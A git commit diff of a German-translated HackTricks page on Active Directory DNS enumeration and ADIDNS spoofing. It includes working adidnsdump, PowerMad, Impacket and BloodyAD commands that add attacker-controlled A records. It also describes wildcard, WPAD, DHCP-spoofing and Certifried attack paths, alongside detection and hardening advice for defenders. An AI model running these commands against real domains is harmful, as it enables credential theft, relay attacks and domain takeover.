Translated ['src/windows-hardening/active-directory-methodology/ad-dns-r

This commit is contained in:
Translator 2025-07-24 14:27:49 +00:00
parent 0ffcfdf8fb
commit 9d8257346e

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Standardmäßig kann **jeder Benutzer** in Active Directory **alle DNS-Einträge** in den DNS-Zonen der Domäne oder des Waldes auflisten, ähnlich wie bei einem Zonenübertrag (Benutzer können die untergeordneten Objekte einer DNS-Zone in einer AD-Umgebung auflisten).
Standardmäßig kann **jeder Benutzer** in Active Directory **alle DNS-Einträge** in den DNS-Zonen der Domäne oder des Forests auflisten, ähnlich wie bei einem Zonentransfer (Benutzer können die untergeordneten Objekte einer DNS-Zone in einer AD-Umgebung auflisten).
Das Tool [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) ermöglicht die **Auflistung** und **Exportierung** von **allen DNS-Einträgen** in der Zone zu Recon-Zwecken interner Netzwerke.
```bash
@ -10,9 +10,70 @@ git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .
# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
cat records.csv
```
> adidnsdump v1.4.0 (April 2025) fügt JSON/Greppable (`--json`) Ausgabe, mehrfädige DNS-Auflösung und Unterstützung für TLS 1.2/1.3 beim Binden an LDAPS hinzu.
Für weitere Informationen lesen Sie [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
---
## Erstellen / Ändern von Einträgen (ADIDNS Spoofing)
Da die Gruppe **Authenticated Users** standardmäßig **Create Child** auf der Zonen-DACL hat, kann jedes Domänenkonto (oder Computer-Konto) zusätzliche Einträge registrieren. Dies kann für Traffic-Hijacking, NTLM-Relay-Zwang oder sogar vollständige Domänenkompromittierung verwendet werden.
### PowerMad / Invoke-DNSUpdate (PowerShell)
```powershell
Import-Module .\Powermad.ps1
# Add A record evil.domain.local → attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
```
### Impacket dnsupdate.py (Python)
```bash
# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
```
*(dnsupdate.py wird mit Impacket ≥0.12.0 ausgeliefert)*
### BloodyAD
```bash
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
```
---
## Häufige Angriffsprimitive
1. **Wildcard-Eintrag** `*.<zone>` verwandelt den AD DNS-Server in einen unternehmensweiten Responder, ähnlich wie LLMNR/NBNS-Spoofing. Es kann missbraucht werden, um NTLM-Hashes zu erfassen oder sie an LDAP/SMB weiterzuleiten. (Erfordert, dass WINS-Abfragen deaktiviert sind.)
2. **WPAD-Hijack** füge `wpad` (oder einen **NS**-Eintrag, der auf einen Angreifer-Host zeigt, um die Global-Query-Block-List zu umgehen) hinzu und proxy transparent ausgehende HTTP-Anfragen, um Anmeldeinformationen zu sammeln. Microsoft hat die Wildcard/DNAME-Umgehungen (CVE-2018-8320) gepatcht, aber **NS-Einträge funktionieren weiterhin**.
3. **Übernahme veralteter Einträge** beanspruche die IP-Adresse, die zuvor zu einem Arbeitsplatz gehörte, und der zugehörige DNS-Eintrag wird weiterhin aufgelöst, was ressourcenbasierte eingeschränkte Delegation oder Shadow-Credentials-Angriffe ermöglicht, ohne DNS überhaupt zu berühren.
4. **DHCP → DNS-Spoofing** bei einer Standard-Windows-DHCP+DNS-Bereitstellung kann ein nicht authentifizierter Angreifer im selben Subnetz jeden vorhandenen A-Eintrag (einschließlich Domänencontroller) überschreiben, indem er gefälschte DHCP-Anfragen sendet, die dynamische DNS-Updates auslösen (Akamai “DDSpoof”, 2023). Dies gibt Maschinen-in-der-Mitte über Kerberos/LDAP und kann zu einer vollständigen Übernahme der Domäne führen.
5. **Certifried (CVE-2022-26923)** ändere den `dNSHostName` eines Maschinenkontos, das du kontrollierst, registriere einen passenden A-Eintrag und fordere dann ein Zertifikat für diesen Namen an, um den DC zu impersonieren. Tools wie **Certipy** oder **BloodyAD** automatisieren den Ablauf vollständig.
---
## Erkennung & Härtung
* Verweigere **authentifizierten Benutzern** das Recht *Alle untergeordneten Objekte erstellen* in sensiblen Zonen und delegiere dynamische Updates an ein dediziertes Konto, das von DHCP verwendet wird.
* Wenn dynamische Updates erforderlich sind, setze die Zone auf **Nur-sicher** und aktiviere **Namensschutz** in DHCP, sodass nur das Eigentümer-Computerobjekt seinen eigenen Eintrag überschreiben kann.
* Überwache die DNS-Server-Ereignis-IDs 257/252 (dynamisches Update), 770 (Zonenübertragung) und LDAP-Schreibvorgänge zu `CN=MicrosoftDNS,DC=DomainDnsZones`.
* Blockiere gefährliche Namen (`wpad`, `isatap`, `*`) mit einem absichtlich harmlosen Eintrag oder über die Global Query Block List.
* Halte DNS-Server gepatcht z.B. RCE-Fehler CVE-2024-26224 und CVE-2024-26231 erreichten **CVSS 9.8** und sind aus der Ferne gegen Domänencontroller ausnutzbar.
## Referenzen
* Kevin Robertson “ADIDNS Revisited WPAD, GQBL und mehr” (2018, immer noch das de-facto Referenzwerk für Wildcard/WPAD-Angriffe)
* Akamai “Spoofing von DNS-Einträgen durch Missbrauch dynamischer DHCP-DNS-Updates” (Dez 2023)
{{#include ../../banners/hacktricks-training.md}}